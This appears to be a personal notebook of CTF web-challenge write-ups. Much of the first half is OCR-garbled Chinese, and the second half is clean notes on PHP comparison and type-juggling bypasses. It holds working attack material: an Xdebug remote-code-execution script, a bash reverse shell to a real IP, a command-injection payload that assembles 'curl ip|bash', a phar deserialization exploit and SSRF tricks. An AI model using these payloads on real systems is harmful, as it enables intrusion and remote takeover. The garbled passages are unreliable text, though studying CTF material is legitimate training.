if data[i] == 194 or data[i] == 195:
barr += bytes([ord(bytes([data[i], data[i+1]]).decode())])
i+=1
else:
barr += bytes([ord(bytes([data[i]]).decode())])
i+=1
with open('decoded-keystream', 'wb') as f:
f.write(barr)

BIANER z3 BB, KWET

jolokia karaf

Java web api HtE
https://blog.csdn.net/cyl cheng 1996/article/details/75715548
https://www.jianshu.com/p/bfc5a8e73ca9
https://momomoxiaoxi.com/2019/03/26/tctf2019/
https://www.anquanke.com/post/id/103016
https://jolokia.org/reference/html/protocol.html#list
https://karaf.apache.org/manual/latest/# quick_start

HEST— eval BT, BRRGAIIT ./readflag



XAMER—MBERE, SHREFN, BREENNERRETERESREIER, HRABFEENKFRRIESHIELAE 3.
MR AU 2 R %, T B —ARIEZ)E, BEERMEKAF L8089 adnin, BRERAL M b, BEHE ip, XHLE,
NEHR <script language="php"></script> + php4 &%

BH: /flag.txt

— bR HWEE, FE—A phpinfo.php, HT —¥, BHEMEET

ZEBFH flag.txt, XHEE?

KFFJE open_basedir

WREZ /app

nginx/1.10.3

disable_functions:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcont
inued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pc
ntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriori
ty

V=2 xdebug.remote_connect_back=1 FTZERRX % https://paper.seebug.org/397/
HERMYT 9000 M, X2 phpstorm BERININGO, THEEESL BRHKAE

B ~ curl "http://111.198.29.45:30372/phpinfo.php?XDEBUG_SESSION_START=phpstrom" -H "X-Forwarded-For:47.101.220.
241" ~ curl "http://111.198.29.45:30372/phpinfo.php?XDEBUG_SESSION_START=phpstrom" -H "X-Forwarded-For:47.101.
220.241"

3| vps LHEATMWF

B ~ nc -lvv 9000

Listening on [0.0.0.0] (family @, port 9000)

Connection from 111.198.29.45 18656 received!

499<?xml version="1.0" encoding="iso-8859-1"?>

<init xmlns="urn:debugger_protocol v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///app/phpinfo
.php" language="PHP" xdebug:language_version="7.0.22-0ubuntu0.16.04.1" protocol_version="1.0" appid="9" idekey="
phpstrom"><engine version="2.6.0-dev"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url
><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2017 by Derick Rethans]]></copyright>
</init>

5]

¥ ZARA8E1TE vps b, REBHALEKN curl EAME—T
#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)

conn, addr = sk.accept()

while True:
client_data = conn.recv(1024)
print(client_data)

data = raw_input('>> ')
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

bash -i >& /dev/tcp/47.101.220.241/8888 0>&1
system("curl 47.101.220.241:8888")

BRIRSE, Bishell—ERMW

>> system("cat /flag.txt")

304<?xml version="1.0" encoding="iso-8859-1"?>



<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transacti
on_id="1"><property type="string" size="38"
encoding="base64"><![CDATA[eGNOZnswYzhjMDcxY2YzMTE4YTBjMjg5MGUON2UyZDAGZTQ2NnO=]]></property></response>

RGBS flag, ARE nc HINEWT

XBEXERMES: https://blog.spoock.com/2017/09/19/xdebug-attack-surface/

AT L EEEDREREEE, AFESE—E#ishell, £flagEEE

KE p FHEA
#!/usr/bin/env python3
import re

import sys

import time

import requests

import argparse

import socket

import base64

import binascii

from concurrent.futures import ThreadPoolExecutor

pool = ThreadPoolExecutor(1)
session = requests.session()
session.headers = {
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
}

def recv_xml(sock):
blocks = []
data = b""'
while True:
try:
data = data + sock.recv(1024)
except socket.error as e:
break
if not data:
break

while data:
eop = data.find(b'\x00")
if eop < O:
break
blocks.append(data[:eop])
data = data[eop+1:]

if len(blocks) >= 4:
break

return blocks[3]

def trigger(url):
time.sleep(2)
try:
session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1)
except:
pass

if name ' main



parser = argparse.ArgumentParser(description="'XDebug remote debug code execution.')
parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
parser.add_argument('-t', '--target', required=True, help='target url.')
parser.add_argument('-1', '--listen', default=9000, type=int, help='local port")

args = parser.parse_args()

ip_port = ('0.0.0.0', args.listen)
sk = socket.socket()
sk.settimeout(10)

sk.bind(ip_port)

sk.listen(5)

pool.submit(trigger, args.target)
conn, addr = sk.accept()

conn.sendall(b''.join([b'eval -i 1 -- ', base64.b6dencode(args.code.encode()), b'\x00']))

data = recv_xml(conn)

print('[+] Recieve data: ' + data.decode())
g = re.search(rb'<\!\[CDATA\[([a-20-9=\./\+]+)\]\]>"', data, re.I)
if not g:

print('[-] No result...")
sys.exit(0)

data = g.group(1)

try:

print('[+] Result: ' + base64.b64decode(data).decode())
except binascii.Error:

print('[-] May be not string result...')

REERATRBGFX - T, |RE shell
<?php

$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);

@chdir($sandbox);

if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {

@exec($_GET['cmd']);

} else if (isset($_GET['reset'])) {

@exec('/bin/rm -rf ' . $sandbox);

}

highlight_file(__ FILE_ );

BARBRFIEFXANKEARBILS

exec Mg system, AEEBERHEHLSPITER
SR Evps ERE—ANBASHE, RETR, BEN
SERBLE, XAENRUKEE, KEREIE?

#coding:utf-8

import requests

from time import sleep
from urllib import quote

payload = [
# generate "1ls -t>g" file
">1s\\',

"1s> ',
>\,



>-t\\',
>\>g',

"Is>>_ "',

# generate “curl vps_ip|bash®
'>sh\ ',
">ba\\',
S\,
'>241\\"',
">0.\\',
'>22\\"',
">1.\\",
">10\\"',
">47.\\',
>\ A\,
">Sr1\\',
">cul\\',

# exec
'sh ',

‘sh g,
]

r = requests.get('http://111.198.29.45:30213/?reset=1")
for i in payload:
assert len(i) <= 5
r = requests.get('http://111.198.29.45:30213/?cmd=" + quote(i) )
print i
sleep(0.2)

BAMEAD E, AMRIEEET TSR ERERAFIshell, LEMTHRT WO, BEFT—E, XFRIT
MBI RBERAR, —EEER, WOREHSH!
netstat -anl | grep 8008

REAMRA v2, KEREIE 4, 55 py WARHshel I REE, &HiFMbash

<?php

$FLAG = create_function("", 'die( /read_flag );');

$SECRET = "~ /read_secret”;

$SANDBOX = "/var/www/data/" . md5("orange" . $ SERVER["REMOTE_ADDR"]);
@mkdir ($SANDBOX) ;

@chdir ($SANDBOX) ;

if (!isset($_COOKIE["session-data"])) {

$data = serialize(new User($SANDBOX));

$hmac = hash_hmac("shal", $data, $SECRET);
setcookie("session-data", sprintf("%s----- %s", $data, $hmac));

}

class User {

public $avatar;

function _ construct($path) {
$this->avatar = $path;

}

}



// FEWPAT FLAG() H flag
class Admin extends User {
function _ destruct() {
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
. " global \$FLAG; \$FLAG();"
SO
/] HEEERR?
$_GET["lucky"]1();
}
}

function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];

list($data, $hmac) = explode("----- ", $data, 2);

if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) {
die("Bye");

}

if (!hash_equals(hash_hmac("shal", $data, $SECRET), $hmac)) {
die("Bye Bye");
}

/] RFFML S, BREEHR session HIE
$data = unserialize($data);

if (!isset($data->avatar)) {
die("Bye Bye Bye");

}

return $data->avatar;

}

function upload($path) {
// vps ##¥F phar X
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, @, 6) !== "GIF89a") {
die("Fuck off");
¥

file put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}

function show($path) {
/] R RBERE BUR R 54
if (!file_exists($path . "/avatar.gif")) {
$path = "/var/www/html";
}

header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}

$mode = $ GET["m"];

if ($mode == "upload") {
upload(check_session());

} else if ($mode == "show") {

P A N P e et e Lo T T U



SIHUW{ LIHELK_>ESS1UII ) ),
} else {
highlight_file(__ FILE_ );
}

BEAN, % EE—A phar XM, REREAMRCHRERE, ERRFFIL
WHEAUR S, RATH, EFRERA flag(), eval BMRBENEMIE, BHEANEL
REAT - AMHRERN BELRHEHLERH—4EF \x00lambda_%d

zend_builtin_functions.c

do {

ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%
d", ++EG(lambda_count)) + 1;

} while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);

RETURN_NEW_STR(function_name);

/1 AT B SRy

<?php

create_function("", 'echo __ FUNCTION_ ;');
call _user_func("\xe@0lambda_1", 1);

Ho %d 2—HigHl, RREXRZHEBRENEINELRYE, FB2AXBEERMERSE, WATUXERHT, AESJIAE 2 RS
R
BT IME4 KT Apache RIXKEIER, #18 Apache JFEHHIHBERLEIFER, WARMNMTLLERE \xe0lambda_1() HW LAEE|
flag

Apache-preforkiEE (BRil)
EEZERELUTAE, BEApacheSBRINVERS N child serverE &M MR, BRIARBATERK2561 child server,
XEHEIME R A RBiIER, ApacheRi&7EkbH 5EMaxRequestsPerChildAMtcpiERE /G kil XM HER, FF B — N st f2ab BiE R .

# coding: UTF-8
# Author: orange@chroot.org

import requests

import socket

import time

from multiprocessing.dummy import Pool as ThreadPool

try:
requests.packages.urllib3.disable_warnings()
except:
pass

def run(i):
while 1:
HOST '117.50.3.97"'
PORT 8005
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET / HTTP/1.1\nHost: 54.238.212.199\nConnection: Keep-Alive\n\n')
# s.close()
print ‘ok"

time.sleep(0.5)
i=28

pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(oxffff)

http://117.50.3.97:8005/?m=upload&url=phar:///var/www/data/10ca93deca3a77b681f68dd0e46647ec&lucky=%001lambda_1



WRARELL phar FFsk, @&RTRAINEABKIPML  https://blog.zsxsoft.com/post/38
compress.bzip2://phar://
compress.zlib://phar://

2017 hitcon ctf ssrf me

<?php

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);

@chdir($sandbox);

// GET HXIA

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);

$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);

@chdir($dir);

@file_put_contents(basename($info[ "basename"]), $data);
highlight_file(___FILE_ );

2017 hitcon ctf ssrf me
2018 hitcon one line php challenge

<?php
($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight file(___FILE_ );

2019 DDCTF

php://filter/read=convert.base64-encode/resource=index.php
php%3a%2f%2ffilter%2fread%3dconvert.base64%2dencode%2fresource%3dindex.php

PD9waHANCi8qDQogKiBodHRwczovL2Isb2cuY3Nkbi5uZXQvRmVuz@JhbkxpdV11biShcnRpY2x1L2R1dGFpbHMVODA2MTY2MDcNCiAqIERhdGU6
TEp1bHkgNCwyMDE4DQogKi8NCmVycm9yX3J1cG9ydGluZyhFXOFMTCB8FCB+RVIOT1RIQOUpOWOKDQONCmh1YWR1cignY29udGVudC10eXB1OnR1
eHQvaHRtbDtjaGFyc2VOPXV0Zie4Jyk7DQppZighIGlzc2VOKCRTROVUWYydqcGecnXSkpDQogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXIsPS4val5k
ZXgucGhwP2pwZz1UbXBaTWxGN1dYaEShbU41VWxSYVFrNTZRVEpPZHowOScpOweKIGZpbGUgPSBoZXgyYmluKGIhc2U2NF9kZWNvZGUoYmFzZTY0O
X2R1Y29kZSgkX0dFVFsnanBnJ10pKSk7DQplY2hvICc8dG1ObGU+Iy4kX0dFVFsnanBnJ10uJzwvdGlObGU+JzsNCiRmaWx1IDOgcHI1Z719yZXBs
YWN1KCIVW15hLXpBLVowLTkuXSsvIiwiIiwgJGZpbGUpOwOKZWNobyAkZmlsZS4nPC9icj4nOwOKIGZpbGUgPSBzdHIfcmVwbGFjZSgiY29uZmln
TiwiISIsICRmaWx1KTsNCmVjaG8glGZpbGUuIzwvYnI+JzsNCiROeHQgPSBiYXNINjRFZW5jb2R1KGZpbGVFZ2VOX2NvbnR1bnRzKCRmalWx1KSk7
DQoNCmVjaG8gIjxpbWcgc3IjPSdkYXRhOm1tYWd1L2dpZjtiYXNINjQsIidkdHhOLiInPjwvaWlnPiI7DQovKgOKICogQ2FuIH1lvdSBmaW5kIHRo
ZSBmbGFnIGZpbGU/DQogKg@KICovDQoNCj8+DQo=

wireshark

172.25 BRHD, 110 &Mk

2019 CISCN justsoso
php 31/, E&RFFIL
2019 CISCN love math



<?php
error_reporting(0);
[/ RARBRERE S, RAERESEEMEEflag
if(lisset($_GET['c'])){
show_source(__FILE_ );
}else{
//BIF c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("KKTRLHE");
}
$blacklist = [' ', "\t', "\r', "\n',"\"", ", U, UN\[Y, \]'D;
foreach ($blacklist as $blackitem) {
if (preg_match('/"' . $blackitem . '/m', $content)) {
die("BEAEMNTHEERER");
}
}
/1% R R Hhttp: //www.w3school. com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', ‘'asinh', 'atan2', ‘'atan', 'atanh', 'base_convert', 'bindec', 'cei
1', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expml', 'floor', 'fmod', 'getrandmax', 'hexd
ec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'logl@', 'loglp', 'log', 'max', 'min', 'mt_getr
andmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', ‘'sinh', ‘'sqrt', ‘'srand
', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_B-9\x7f-\xff]*/"', $content, $used_funcs);
foreach ($used_funcs[@] as $func) {
if (!in_array($func, $whitelist)) {
die("BEAEMANTHRERRE");
}
}
[/ FHRERER

eval('echo '.$content."';");

}

get EH, ki
<?php
if (!defined('LFI")) {
echo "Include me!";
exit();
}
use interesting\FlagSDK;
$sdk = new FlagSDK();
$key = $_GET['key'] ?? false;
if (!'$key) {
echo "Please provide access key<br \>";
echo '$ GET["key"];"';
exit();
}
$flag = $sdk->verify($key);
if ($flag) {
echo $flag;
} else {
echo "Wrong Key";
exit();

}



WRIBHATIREE /AT RINE B F R E RRERFE, WEENES, BUTHREE.

RHEEZDE https://www.anquanke.com/post/id/173039

<?php
define(ROBOTS, ©);
error_reporting(0);

if(empty($_GET["action"])) {
show_source(__FILE_ );

} else {

include $_GET["action"].".php";
}

<?php
if (!defined("ROBOTS")) {die("Access Denied");}
echo "Congratulate hack to here, But flag in /var/www/flag.flag";

<?php
if(file_exists("./install.lock")) {
die("Have installed!");

}

$host = $ _REQUEST[ 'host'];

$user = $ REQUEST[ 'user'];

$passwd = $_REQUEST[ 'passwd’'];
$database = $_REQUEST[ 'database’'];

if('empty($host) && !empty($user) && !empty($passwd) &8& !empty($database)) {
$conn = new mysqli($host, $user, $passwd);

if($conn->connect_error) {

die($conn->connect_error);

} else {

$conn->query("DROP DATABASE ".$database);

$conn->query("CREATE DATABASE ".$database);

//To be continued

mysqli_close($conn);

$config = "<?phpn$config=";
$config .= var_export(array("host"=>$host, "user"=>$user, "passwd"=>$passwd), TRUE).";";
file put_contents(md5($_SERVER["REMOTE_ADDR"])."/config.php", $config);

}

}



http://ctf473831530.yulige.top:12345/

<?php

highlight_file(_ FILE_ );

function check_inner_ip($url)

{
$match_result=preg_match('/~(http|https|gopher|dict)?:\/\/.*(\/)?.*¥$/"',$url);
if (!$match_result)

{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse[ 'host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0
')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;

}
function safe_request_url($url)
{

if (check_inner_ip($url))

{

echo $url.' is inner ip°';

}

else

{

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info[ 'redirect_url']);
}
curl_close($ch);
var_dump($output);

$url = $ GET['url'];
if(lempty($url)){
safe_request_url($url);

}

?>
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	各种绕过 <?php  	highlight_file('flag.php');  	$_GET['id'] = urldecode($_GET['id']);   // 将URL解码 	$flag = 'flag{xxxxxxxxxxxxxxxxxx}';  	if (isset($_GET['uname']) and isset($_POST['passwd'])) {  		if ($_GET['uname'] == $_POST['passwd'])  			print 'passwd can not be uname.';  		else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))  			die('Flag: '.$flag);  		else  			print 'sorry!';  	}  ?> 先将 id URL编码 %6d%61%72%67%69%6e 再用数组绕过sha1() linux   linux基础问题 得到一个压缩包，win下打不开，扔到kali解压后发现一个flag的文件， 改权限777，cat强行查看，发现flag，不过本意好像不是这样 strings 命令(此命令相当牛逼，以后再仔细学) linux2   同上。。 宽带信息泄露   题目给的是 conf.bin 文件，.bin 相当于一个万能后缀，无法直接确定 打开看一下是二进制文件，题目强调的是宽带信息泄露,flag{宽带用户名} 网上提示了一个工具 Routerpassview Javascript Tricks   var net = require('net'); flag='fake_flag'; var server = net.createServer( 	function(socket) { 		socket.on('data', (data) => {  			//m = data.toString().replace(/[\n\r]*$/, ''); 			ok = true; 			arr = data.toString().split(' '); 			arr = arr.map(Number); 			if (arr.length != 5)   // arr长度为5 				ok = false; 			arr1 = arr.slice(0);  // 抽取从0开始的所有字符 			arr1.sort(); 			for (var i=0; i<4; i++)  // 没有相同元素，正常ASCII码 				if (arr1[i+1] == arr1[i] || arr[i] < 0 || arr1[i+1] > 127) 					ok = false; 			arr2 = []; 			for (var i=0; i<4; i++) 				arr2.push(arr1[i] + arr1[i+1]); 			val = 0; 			for (var i=0; i<4; i++) 				val = val * 0x100 + arr2[i];  // 0x100 = 256 			if (val != 0x23332333) 				ok = false; 			if (ok) 				socket.write(flag+'\n'); 			else 				socket.write('nope\n'); 		}); 		//socket.write('Echo server\r\n'); 		//socket.pipe(socket); 	} ); HOST = '0.0.0.0' PORT = 8082 server.listen(PORT, HOST);   这里还要用到 netcat 简称 nc，又涨了波姿势 extract变量覆盖   <?php 	$flag='xxx'; 	extract($_GET); 	if(isset($shiyan)){ 		$content=trim(file_get_contents($flag)); 		if($shiyan==$content){ 			echo'flag{xxx}'; 		} 		else{ 			echo'Oh.no'; 		} 	} ?> extract(array[,extract_rules,prefix)]   // 数组键名作为变量名，数组键值作为变量值 // 后几个参数是解决新创建的变量与原变量的冲突问题的 // 就这个题来说，之前就有一个flag的变量了，此时GET一个flag进去就会把原flag的值覆盖掉 // 如果$flag这个文件不存在，file_get_contents($flag)将为空 // 此时只需传一个 shiyan&flag 就解决了 strcmp比较字符串   <?php 	$flag = "flag{xxxxx}"; 	if (isset($_GET['a'])) { 		if (strcmp($_GET['a'], $flag) == 0)  			die('Flag: '.$flag); 		else 			print 'No'; 	} ?> // 比较两个字符串（区分大小写）正常规则：    如果 str1 小于 str2 返回 < 0；如果大于返回 > 0；如果相等，返回 0。 // 如果传入的值不是字符串类型就将出故障，并 return 0 // 比如 传一个数组 a[] ? 这题就做完了 urldecode二次编码绕过   <?php 	if(eregi("hackerDJ",$_GET[id])) { 		echo("not allowed!"); 		exit(); 	} 	$_GET[id] = urldecode($_GET[id]); 	if($_GET[id] == "hackerDJ")	{ 		echo "Access granted!"; 		echo "flag"; 	} ?> int ereg(string pattern, string string, array [regs]); 区分大小写 int eregi(string $pattern, string $string [, array &$regs]) 不区分大小写的正则表达式匹配 题面已经给了思路，将 hackerDJ 进行二次 url 编码即可绕过 md5()函数   <?php 	error_reporting(0); 	$flag = 'flag{test}'; 	if (isset($_GET['username']) and isset($_GET['password'])) { 		if ($_GET['username'] == $_GET['password']) 			print 'Your password can not be your username.'; 		else if (md5($_GET['username']) === md5($_GET['password'])) 			die('Flag: '.$flag); 		else 			print 'Invalid password'; 	} ?> 数组大法好，直接 username[]&password[]=1又轻松绕过 md5() 原理：md5() 不能处理数组，md5(数组) 会返回 null 数组返回NULL绕过   <?php 	$flag = "flag"; 	if (isset ($_GET['password'])) { 		if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) 			echo 'You password must be alphanumeric'; 		else if (strpos ($_GET['password'], '--') !== FALSE) 			die('Flag: ' . $flag); 		else 			echo 'Invalid password'; 	} ?> 数组又能直接绕过？？ =>  password[]=1 原理： 	ereg() 只能处理字符，传数组将返回 null， 	三个等号的时候不会进行类型转换，所以 null!==false 	strpos() 的参数同样不能是数组，返回依旧是 null，同上 	 %00 截断：ereg()可以进行%00截断，这样就能绕开正则匹配  =>  password=1%00-- 弱类型整数大小比较绕过   <?php 	$temp = $_GET['password']; 	is_numeric($temp) ? die("no numeric") : NULL; 	if($temp>1336){ 		echo $flag; ?> 数组又能直接绕过？？ is_numeric()判断变量是否为数字或数字字符串 password=1445%00 / password=1445%20 sha1()函数比较绕过   <?php 	$flag = "flag"; 	if (isset($_GET['name']) and isset($_GET['password'])) 	{ 		var_dump($_GET['name']); 		echo "	"; 		var_dump($_GET['password']); 		var_dump(sha1($_GET['name'])); 		var_dump(sha1($_GET['password'])); 		if ($_GET['name'] == $_GET['password']) 			echo 'Your password can not be your name!'; 		else if (sha1($_GET['name']) === sha1($_GET['password'])) 			die('Flag: '.$flag); 		else 			echo 'Invalid password.'; 	} 	else 		echo 'Login first!'; ?> sha1() 计算字符串的散列值 数组又能直接绕过？？ sha1() 函数无法处理数组类型，将报错并返回false，false === false条件成立 md5加密相等绕过   <?php 	$md51 = md5('QNKCDZO'); 	$a = @$_GET['a']; 	$md52 = @md5($a); 	if(isset($a)){ 		if ($a != 'QNKCDZO' && $md51 == $md52) { 			echo "flag{*}"; 		} else { 			echo "false!!!"; 		} 	} 	else{ 		echo "please input a"; 	} ?> PHP 在处理哈希字符串时，会利用 != / == 来对其进行比较，它把每个以“0e”的哈希值都解释为0。 如果两个不同的密码经过哈希以后，哈希值都是以“0e"开头的话，PHP将认为这两个哈希值相同。  常见的payload: QNKCDZO 0e830400451993494058024219903391  s155964671a 0e342768416822451524974117254469  s214587387a 0e848240448830537924465865611904  s878926199a 0e545993274517709034328855841020  s1091221200a 0e940624217856561557816327384675  s1885207154a 0e509367213418206700842008763514  s1836677006a 0e481036490867661113260034900752  s1184209335a 0e072485820392773389523109082030  s1665632922a 0e731198061491163073197128363787  s1502113478a 0e861580163291561247404381396064  s532378020a 0e220463095855511507588041205815 十六进制与数字比较   <?php 	error_reporting(0); 	function noother_says_correct($temp) { 		$flag = 'flag{test}'; 		$one = ord('1');  //ord() 返回字符的 ASCII 码值 		$nine = ord('9'); 		$number = '3735929054'; 		for ($i = 0; $i < strlen($number); $i++) { 			$digit = ord($temp{$i}); 			if (($digit >= $one) && ($digit <= $nine)) 				return "flase"; 		} 		if($number == $temp) 			return $flag; 	} 	$temp = $_GET['password']; 	echo noother_says_correct($temp); ?> 转十六进制 0xdeadc0de 绕过，别忘了加 0x strpos数组绕过   <?php 	$flag = "flag"; 	if (isset ($_GET['ctf'])) { 		if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE) 			echo '必须输入数字才行'; 		else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE) 			die('Flag: '.$flag); 		else 			echo '骚年，继续努力吧啊~'; 	} ?> 数组又能直接绕过？？ ctf[]={#BIUBIUbiu} ereg正则%00截断   <?php 	$flag = "xxx"; 	if (isset ($_GET['password'])) { 		if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) { 			echo 'You password must be alphanumeric'; 	} 	else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { 		if (strpos ($_GET['password'], '*-*') !== FALSE) 			die('Flag: ' . $flag); 		else 			echo('*-* have not been found'); 	} 	else 		echo 'Invalid password'; 	} ?> 1.数组绕过：password[] 2.%00截断，再加上科学计数法  =>  password=1e9%00*-* 数字验证正则绕过   <?php 	error_reporting(0); 	$flag = 'flag{test}'; 	if ("POST" == $_SERVER['REQUEST_METHOD']) { 		$password = $_POST['password']; 		if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))	{ 			echo 'flag'; 			exit; 		} 		while (TRUE) { 			$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 			if (6 > preg_match_all($reg, $password, $arr)) 				break; 			$c = 0; 			$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母 			foreach ($ps as $pt) { 				if (preg_match("/[[:$pt:]]+/", $password)) 					$c += 1; 			} 			if ($c < 3) break; 			//>=3，必须包含四种类型三种与三种以上 			if ("42" == $password) echo $flag; 			else echo 'Wrong password'; 			exit; 		} 	} ?> 直接password=就出答案了？？？我？？？ 字符？正则？   <?php  	highlight_file('2.php'); 	$key='KEY{********************************}'; 	$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match); 	if( $IM ){  		die('key is: '.$key); 	} ?>  单纯的考正则表达式，只要id成功匹配就会出flag，注意!!!最后一个是匹配任意标点符号!!! 定界符：/和/（除了\和字母数字,其它的只要是成对出现都可以看做定界符，比如##、！！之类的） /i 表示忽略大小写 id=key0key4434key:/a/aakeyb. 忘记了最后那个标点符号，差点怀疑人生 程序员本地网站   直接在请求头里添加 X-Forwarded-For:127.0.0.1 你从哪里来   are you from google? 将 refer 头修改为 https://www.google.com www.google.com 都不行 http://www.google.com 都不行 :) login1(SKCTF)   hint:SQL约束攻击 先注册  user:admin                                    1 		 passwd:Abc123 然后 用admin,Abc123也能登录上了 [约束攻击详解](https://www.freebuf.com/articles/web/124537.html) md5 collision(NUPT_CTF)   题目是MD5碰撞，直接传一个MD5以0e开头的过去 秋名山老司机   亲请在2s内计算老司机的车速是多少 每次显示一些随机的大数相加减 我想到了py直接提交请求，然而自己独立写不出来 import requests  import re  url = 'http://123.206.87.240:8002/qiumingshan/'  s = requests.Session()  source = s.get(url)  expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()  result = eval(expression)  post = {'value': result}  print(s.post(url, data = post).text) 必须利用会话对象 Session()，否则提交结果的时候，页面又重新生成一个新的表达式 利用正则表达式截取响应内容中的算术表达式。首先引入 re 模块，其次用 search() 匹配算术表达式，匹配成功后用 group() 返回算术表达式的字符串。 获得算术表达式的字符串后，直接利用 Python 的內建方法 eval() 来计算出结果，简单、暴力、快捷。 web8   txt？？？？ <?php 	extract($_GET); 	if (!empty($ac)) { 		$f = trim(file_get_contents($fn)); 		if ($ac === $f) 			echo "<p>This is flag:" ." $flag</p>"; 		else 			echo "<p>sorry!</p>"; 	} ?> empty() 以下情况将返回TRUE 	"" (空字符串) 	0 (作为整数的0) 	0.0 (作为浮点数的0) 	"0" (作为字符串的0) 	NULL 	FALSE 	array() (一个空数组) 	$var; (一个声明了，但是没有值的变量) 单个参数的extract()自然想到变量覆盖，然而$ac又不能为空 扫了后台扫了个2.php，又提示txt，ac=txt& fn=2.php，结果没卵用，哈哈 试了好几次后选择看writeup 1.ac=flags& fn=flag.txt，这个想法真是脑洞打开 2.利用伪协议读取post，妙极了 	ac=233 & fn=php://input 	再post一个233，齐活儿 前女友(SKCTF)   <?php 	if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ 		$v1 = $_GET['v1']; 		$v2 = $_GET['v2']; 		$v3 = $_GET['v3']; 		if($v1 != $v2 && md5($v1) == md5($v2)){ 			if(!strcmp($v3, $flag)){ 				echo $flag; 			} 		} 	} ?>	 md5碰撞，数组绕过strcmp()，做完了 速度要快   我感觉你得快点!!! 查看源码  =>  <!-- OK ,now you have to post the margin what you find --> 找啊找啊，响应头里面发现了一个 flag 键名 刷新一下还会变，flag: 6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTmpNek56RXo= 那就上py脚本搞吧，注意建立会话对象 session(),否则已提交，flag又变了  import requests import base64  url = 'http://123.206.87.240:8002/web6/' req = requests.session() flag = req.get(url).headers['flag'] flag = base64.b64decode(flag) print(flag) flag = flag.decode()  # 防止split()报错 flag = base64.b64decode(flag.split(':')[1])  # 解码两次才变成数值 print(flag) data = {'margin':flag} print(req.post(url,data).content)  # 此处为了看得方便可继续解码，不过没必要 // 一定要养成手动保存的好习惯，东西丢了还是很伤心的，又要重写  cookies欺骗   得到这么一个字符串： rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibry 还有一个地址：index.php?line=& filename=a2V5cy50eHQ= (keys.txt) 直接查看keys.txt，发现还是这么一段乱七八糟的字符串 